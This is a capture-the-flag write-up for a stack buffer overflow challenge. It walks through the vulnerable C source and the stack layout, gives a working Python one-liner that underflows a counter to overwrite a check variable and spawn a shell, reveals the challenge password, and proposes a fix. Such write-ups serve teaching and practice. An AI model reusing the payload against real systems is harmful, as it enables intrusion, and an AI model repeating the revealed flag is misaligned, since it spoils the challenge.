ELF x86 - Stack buffer overflow basic 3

Abdoulkader MOUSSA MOHAMED

February 2023

1 Search vulnerability

The following protections are enabled on the program : *Pile non exécutable, Tas non exécutable.*

Let's firstly read the source code of our program.

```
..
int main()
{

  char buffer[64];
  int check;
  int i = 0;
  int count = 0;

  printf("Enter your name: ");
  fflush(stdout);
  while(1)
    {
      if(count >= 64)
        printf("Oh no...Sorry !\n");
      if(check == 0xbffffabc)
        shell();
      else
        {
            read(fileno(stdin),&i,1);
            switch(i)
            {
```

```
23                  case '\n':
24                    printf("\a");
25                    break;
26                  case 0x08:
27                    count--;
28                    printf("\b");
29                    break;
30                  case 0x04:
31                    printf("\t");
32                    count++;
33                    break;
34                  case 0x90:
35                    printf("\a");
36                    count++;
37                    break;
38                  default:
39                    buffer[count] = i;
40                    count++;
41                    break;
42              }
43          }
44      }
45  }
46
47  void shell(void)
48  {
49    setreuid(geteuid(), geteuid());
50    system("/bin/bash");
51  }
```

We notice that :

- If the value of variable **check** becomes **0xbfffabc**, we get a root shell. This is clearly our goal.

- Count can not be greater than 64, otherwise, we will have infinitly the message **Oh no ...Sorry !**.

- At line **27**, we see that we can decrement **count** and he can even be negative as he is of type **int**.

- Any character other than

  `\n, 0x08, 0x04, 0x90`

  will be inserted in the buffer at index **count**.

Let's draw the stack. Using **objdump -d program**, in assembly code of main, we can see :

```

lea    -0x4c(%ebp),%edx  // ebp-0x4c is the offset of 'buffer'

```

```
cmpl    $0xbffffabc,-0x50(%ebp) // ebp-0x50 is the offset of ’check’

cmpl    $0x3f,-0x54(%ebp)  // ebp-0x54 is the offset of ’count’

movl    $0x0,-0x58(%ebp) // ebp-0x58 is the offset of ’i’
```

So the stack looks like :

```
Highest Address
-------------------    ebp
...
-------------------    ebp - 0xc
| buffer (64 bytes)|
-------------------    ebp - 0x4c
| check (4 bytes)  |
-------------------    ebp - 0x50
| count (4 bytes)  |
-------------------    ebp - 0x54
| i (4 bytes)      |
-------------------    ebp - 0x58
Lowest Address
```

As **count** can be negative, by doing something like buffer[-4], buffer[-3], buffer[-2], buffer[-1], we can change the value of check. This is the vulnerability of this program.

2 Exploit it !

Before that we start to exploit the vulnerabilty, we know that

- we are in an little endian architecture.
- we must use **cat** command that keeps stdin open to avoid that the shell open then close.
- we will firstly enter **0x08 * 4** to make **count** equal to -4. Then we will write **0xbffffabc** in **check**.

Now that we are ready, let's go.

```
$ (python -c ’print("\x08"*4 + "\xbc\xfa\xff\xbf")’; cat) |./ch16
Enter your name: ls -a
.  ..  ch16  ch16.c  .git  Makefile  .passwd  ._perms
cat .passwd
Sm4shM3ify0uC4n
```

Bingo !

3 How to correct it

To avoid this kind of vulnerability, we just have to make sure that **count** never become negative. Here is a fix of the program :

```
..
unsigned int count = 0;
..
```